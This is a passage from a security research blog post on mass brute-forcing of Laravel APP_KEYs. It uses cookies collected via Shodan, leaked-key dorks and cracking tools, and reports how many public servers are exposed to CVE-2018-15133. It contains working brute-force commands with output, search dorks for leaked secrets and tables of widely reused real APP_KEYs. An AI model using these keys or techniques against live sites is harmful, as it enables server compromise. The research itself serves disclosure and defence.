Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax

By default, each cookie set by Laravel is a value encrypted via the encrypt function. Therefore, these values can be used to brute force the associated APP_KEY.

In order to try thousands of APP_KEYs, we added the option bruteforce mode to laravel-crypto-killer:

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                     | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00,  5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json

Retrieving Laravel ciphers at scale

In order to have a view on the bigger picture, we tried to find a way to retrieve as many exposed Laravel ciphers as possible, to make statistics and see how well the APP_KEYs are actually managed.

As said earlier: on a default Laravel installation, two cookies will always be set: XSRF-TOKEN and laravel-session.

What we did not say yet is that it will be sent by Laravel on its default route as long as it is not a redirection. This behavior is fascinating for two reasons, we can easily have an idea of the number of Laravel instances by using any search engine mapping the internet, but more importantly these cookies are Laravel ciphers!

It means that one is able to use these cookies as a cipher to try brute forcing the APP_KEY of any publicly exposed Laravel applications. Furthermore, the XSRF-TOKEN cookie name is immutable and set by default, so it is a good heuristic to determine if an application is based on Laravel.

After understanding this, we quickly wanted to get our hands on this dataset at the best possible price and compared several search engines like ZoomEye, Onyphe, Censys (which seemed to have the most complete dataset with 3 000 000 XSRF-TOKEN available) and finally Shodan.

We chose Shodan16 because it was by far the cheapest in comparison to others, which allowed to retrieve 1 million entries for 60 dollars. We were able to extract and sanitize 580 461 ciphers in total from 679 866 websites having an XSRF-TOKEN set during July 2024. We also took another dataset on the 31st of 2025 containing 625 059 sanitized ciphers out of 672 481 public XSRF-TOKEN.

shodan_stat_edit
Shodan dataset on XSRF-TOKEN cookies from the 11th of July 2024.
xsrf-may-2025
Shodan dataset on XSRF-TOKEN cookies from the 30th of May 2025.

Retrieving APP_KEYs at scale

As we saw, modern Laravel applications are encrypting data by using a combination of AES-256 mode CBC and a HMAC by default. Furthermore, the APP_KEY is generated via the random_bytes17 PHP function, which is currently considered cryptographically secured.

It means that the value of the APP_KEY on a Laravel application cannot be identified by pure brute-force. As an attacker, one can hope that the developers manually wrote a 40-character base64 sentence, or that they encoded a 32-character sentence, but this is really unlikely (although it still happened in some cases!).

Therefore, in order to retrieve a lot of APP_KEYs, we used several methods. We tried to identify them in July 2024 by:

  • Using GitHub dorks: github-dorks -q "APP_KEY=base64" -p php
  • Using Google dorks: ext:env intext:APP_ENV= | intext:APP_DEBUG= | intext:APP_KEY=
  • Looking for hard coded APP_KEYs inside Laravel public documentation or public forums.
  • Or looking in other public projects like BadSecrets19 which already have wordlists containing APP_KEYs.

Even if these methods seemed pretty promising, they were hard to automate efficiently, and we were not able to retrieve so much keys: a total of 1171 of them to be exact. That goes without saying that this result was mediocre in comparison of the 679 866 Laravel projects available publicly identified via Shodan.

first_cracking_stats_grehack
Schema showing the evolution of our first brute-force attempts before GreHack 2024.

After running this first batch of tests, we concluded that this research was sufficient as it was and decided to present our results and the vulnerabilities identified at GreHack 202420.

An unexpected helping hand: discussion with GitGuardian

After our presentation, Mickaël and I enjoyed a little break. At this moment, we luckily met Guillaume Valadon from GitGuardian who was also excited by the idea of hunting for APP_KEYs on misconfigured projects. This led us to push the research even further: we started a collaboration where we were able to improve our results using their datasets, and they used those results to improve their detectors21 and their service Public Monitoring that continuously scans public GitHub repositories in real-time to alert organizations when their secrets are accidentally leaked by22.

A few days later, GitGuardian gave us access to a first list of APP_KEYs they fetched from 2018 to the 20th of December 2024 containing a stunning number of 212 540 APP_KEYs.

They sent us another dataset later, containing a total of 267 952 APP_KEYs from 2018 to the 30th of May 2025.

We now had everything needed to improve our previous analysis. However, we encountered a final blocking issue: we had so many APP_KEYs and Laravel ciphers that laravel-crypto-killer was not able to ingest so many secrets and ciphers, it already took more than 9 hours to process all the previous data sets.

laravel-crypto-killer bruteforce

With this new dataset, the time jumped to more than two weeks to fully brute force all the ciphers with our new hundred of thousands of APP_KEYs.

Brute forcing at scale

Our colleague Damien Picard volunteered to help us and quickly got into the game of brute force optimization. This led to the creation of a wonderful new tool: nounours.

nounours optimized the brute force process so much that we went from a few weeks with laravel-crypto-killer to only 1 minute and 51 seconds to brute force all the datasets.

# Example of output generated by nounours
$ nounours --encrypted-file all_tokens-30_05.txt --key-file all_app_keys.txt
Starting cbc bf on 624536 encrypted text with 267810 keys.
eyJpdiI6IllXUWF4dHNNY2k2eEE0cXduU1cxUEE9PSIsInZhbHVlIjoiR0JnWE9vTFoxVjJwbCtLN1F0eXIwSnl4d05RRFpQOXpXSWxFZUNzYkpIVWwwbnkzMk5oc0FGYW9LalJScVUxN2RiejhlOFJFVEp5bmxaYXY3QWtMdk13T3lnY1g3ei9jcnRMV1pPaFlLV091L1l2UGY0ZE5TczhUbmxBTHZXSjIiLCJ0YWciOm51bGx9:91b99c5f00e2f3f29cb872fcb806607643e84180|q2v4Xq3pi0fNUNkSDJTbqw9W2BB36Otb3mdWvYlv:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=
eyJpdiI6Ik9kS3pPbjhzQWZYWXVDSzNMS1dhS0E9PSIsInZhbHVlIjoidXFKU09lVlc1azlPbGgraElRYzVVeDJZbVhuTWxjM0tRaWRzemxmQVc0cDFhMVpZSFpRTmNFVytVMjk1RFlsV09OdXA2enBJUFBsTDJ3d25SUnJTZ1E9PSIsInRhZyI6bnVsbH0=:s:40:"BEtS21PQRLgrN8PMNvWU4QUsy8nKu1iJEJRdWB0s";:aes-256-cbc:base64:Szj2KpQhjfDp750FRO0b6lS2+0TscGTaGbgCAvmnRdU=
eyJpdiI6ImNJbE42d05JUElpdlRONkZHaE5CM0E9PSIsInZhbHVlIjoiRHpzMGhCQTQxTURkTkNaRE9rM1JJNENza3BIMllHZUMwZHNuMTdmeXhmcysveFBweWM1NFl6cGFsSFUvdXgyNSIsInRhZyI6bnVsbH0=:RAR3rzmHMkqnP4qkJ4MXlPcHCbriK4ZJpmv4u6bc:aes-256-cbc:base64:W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=

# Total time of bruteforce on all the dataset
$ time nounours --encrypted-file ../all_tokens-30_05.txt --key-file ../all_app_keys.txt > /dev/null
Starting cbc bf on 624536 encrypted text with 267810 keys.
Starting gcm bf on 58 encrypted text with 267810 keys.
Got through 167272519140 combinations in 110856611881ns
Speed: 1509M try/s

real	1m51.408s
user	28m27.245s
sys	0m0.710s

To keep it short, Damien focused on the following areas of improvement:

  • Using allocations as accurately as possible.
  • Using the most optimized algorithms.
  • Using as much hardware instructions as possible.

This tool is currently not available publicly.

Analyzing the results

Now that we have thoroughly explained all the tools, data, methodologies, reasoning, and logic involved in retrieving ciphers and APP_KEYs for brute-forcing, let's get to the interesting part: what we can actually learn from a worldwide brute force on Laravel ciphers!

Differences between July 2024 and June 2025

bruteforce_from_june_2025
Evolution of brute-force on the datasets since Grehack 2024.
  1. All the data at the left of the red line is based on the brute force performed on ciphers from July 2024. GitGuardian's dataset multiplied the number of successfully cracked ciphers by 4.

  2. From this point, ciphers from May 2025 were used.

$ wc -l all_tokens-26_07_2024.txt
580461

$ wc -l all_results-26_07_2024_sorted.txt
23149

3.99% of keys linked to public Laravel instances from July 2024 could be cracked.

$ wc -l all_tokens-30_05.txt
625059

$ wc -l all_results-30_05_2025_sorted.txt
22212

3.56% of keys linked to public Laravel instances from May 2025 could be cracked.

As we can see, the number of valid ciphers decreased a bit over one year. But we were still able to retrieve 3.56% of APP_KEYs from all public projects from the internet, which is still pretty impressive given the fact that not a single interaction to any of these servers was necessary to get to this number.

Evolution of CVE-2018-15133 exposure

Since all the dataset is based on the cookie XSRF-TOKEN, some clear text data identified is in fact PHP serialized data. This basically means that we can know, even without sending any request to any of these servers, which ones we might be able to instantly compromise via a remote command execution by exploiting CVE-2018-15133.

We can know if an XSRF-TOKEN is based on a serialized data by looking at the way the encrypted data is stored. If it starts with s:(int), then it is PHP serialized data.

# Example of patterns matching serialized data in nounours response
eyJp[...]4Rd";:aes-128-cbc:base64:U29tZVJhbmRvbVN0cmluZw==
eyJp[...]x9:s:81:"91b99c5f00e2f3f29cb872fcb806607643e84180|J49tSeWtRRJQs4EXYekwZnNKIa2JifinQnUdbA9z";:aes-256-cbc:base64:U29tZVJhbmRvbVN0cmluZ1dpdGgzMkNoYXJhY3RlcnM=

On the dataset from July 2024, 1326 exposed servers could still be compromised by CVE-2018-15133.

On the dataset from May 2025, 1091 are still vulnerable to CVE-2018-15133.

Fortunately, we can see that during a period of one year, 17.7% less servers are vulnerable to this CVE. But in the other hand, there are still more than one thousand servers that are just one request away to be fully compromised, and there is a high chance that they already are.

Analyze of the APP_KEY top 10

There is one last question to answer from all this data: where does these APP_KEYs come from, and why are they reused so much?

top 10 APP_KEY July 2024 on public projects
Position Number of public servers sharing it APP_KEY Description
🥇 561 W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= Default key of UltimatePOS available on CodeCanyon
🥈 491 SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= Frequently used in bootstrapped projects
🥉 415 otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= Default key of XPanel SSH User Management
4️⃣ 313 U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= base64 value of SomeRandomStringOf32 CharsExactly
5️⃣ 257 FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= APP_KEY shared between unrelated projects
6️⃣ 216 U29tZVJhbmRvbVN0cmluZw== Default APP_KEY on older Laravel Version base64 value of SomeRandomString
7️⃣ 198 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= Seems linked to several platforms linked to crypto wallet management
8️⃣ 195 EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= Default key of WASender a message sender for WhatsApp
9️⃣ 177 yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= Default key on several AI based projects
🔟 155 ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= Key shared between several random Laravel projects, seems they are copying each other
11 152 RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= Default key on Invoice ninja
79 44 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= Default key on Snipe-IT
top 10 APP_KEY May 2025 on public projects
Position Number of public servers sharing it APP_KEY Description Position since 2024
🥇 1650 W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= Default key of UltimatePOS available on CodeCanyon 🟰
🥈 1132 xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw= Key shared between several projects of an Indonesian company 🆕
🥉 518 U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== base64 value of SomeRandomStringOf32CharsExactly ⬆️
4️⃣ 275 SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= Frequently used in bootstrapped projects ⬇️
5️⃣ 275 otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= Default key of XPanel SSH User Management ⬇️
6️⃣ 203 U29tZVJhbmRvbVN0cmluZw== Default APP_KEY on older Laravel Version base64 value of SomeRandomString 🟰
7️⃣ 170 FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= APP_KEY shared between unrelated projects ⬇️
8️⃣ 165 BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw= Default key of Rocket LMS available on CodeCanyon 🆕
9️⃣ 164 EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= Default key of WASender a message sender for WhatsApp ⬇️
🔟 157 hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs= Default key of Flex Home - Laravel Real Estate Multilingual System available on CodeCanyon 🆕
11 153 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= Default key on Snipe-IT ⬆️
19 94 ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= Key shared between several random Laravel projects, seems they are copying each other ⬇️
24 87 yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= Default key on several AI based projects ⬇️
26 84 RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= Default key on Invoice ninja ⬇️
320 11 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= Seems linked to several platforms linked to crypto wallet management ⬇️

What can we learn from this?

Most of the APP_KEYs detailed on this top 10 are default ones from big projects, or shared on a same development project hosted on several servers. The APP_KEY is not regenerated by default if it is already set on a .env file. Therefore, if you set it on a project you are selling to customers, they WILL keep it as long as everything works, even if you tell them they should regenerate the key inside a documentation.

Developers also tend to reuse the same APP_KEY everywhere, that is also a common mistake we encounter during our audits.

The number of instances using the old default Laravel APP_KEY SomeRandomString decreases over time, while the usage of the string SomeRandomStringOf32CharsExactly increases.

Many sources from commercialized projects are in fact publicly available, customers tend to buy Laravel projects and to publish them on GitHub for some reason.

Most of the top 10 APP_KEYs are from projects sold on CodeCanyon, this platform seems used by many customers looking for Laravel based projects.

Finally, a depressing stat: in 2024, there were 44 servers publicly exposed Snipe-IT instances which could be compromised via CVE-2024-48987, which we detailed earlier. Nowadays, in 2025, that should be better right? Well, the number of vulnerable public Snipe-IT instances is now 61! even though there is a patch and a CVE assigned.

Conclusion

This was a long journey of one year of research regarding APP_KEY management, it was a fascinating subject which involved several people over time. It even led to a collaboration with GitGuardian research team. Guillaume and Gaëtan, thanks a lot for your help! If you want to see what other secrets might leak on Laravel projects posted on GitHub, you can also read their blog post.

This research is not fixed in time, it is still alive, Laravel applications will keep appearing every day online, so it could be continued over time as long as Laravel cookies remain based on Laravel encrypted data. Analyzing results over an extended period makes this suject even more intriguing.

Even though there may be occasional provocative remarks scattered throughout this blog post, it does not mean that Laravel is a bad framework: that is in fact quite the opposite! In practice, it is rare to leak an APP_KEY without exploiting another vulnerability like a file read during an audit. By default, Laravel projects will generate a brand-new APP_KEY for any new project. As a developper, your APP_KEY is safe as long as you do not leak it on platforms like GitHub or do not expose a debug interface on your application.

APP_KEY reuse is the most common mistake identified during our research: the majority of reused APP_KEYs are found in paid products based on Laravel. The best advice we could give is to remove any APP_KEY from products you sell and to force their generation during the installation.

That is why, when using a project based on Laravel, your first reflex should be to regenerate a new APP_KEY with the command php artisan key:generate. However, as described in this blog post, other prerequisites are required in order to compromise a Laravel application, even when an attacker is in possession of this secret.

Laravel environment is really vast and there is a huge community working to improve it over the world, so if you enjoy doing research on PHP based projects, give it a try!

We sincerely hope that you found this blog post enjoyable, as we already have more content related to Laravel planned for release in the coming months!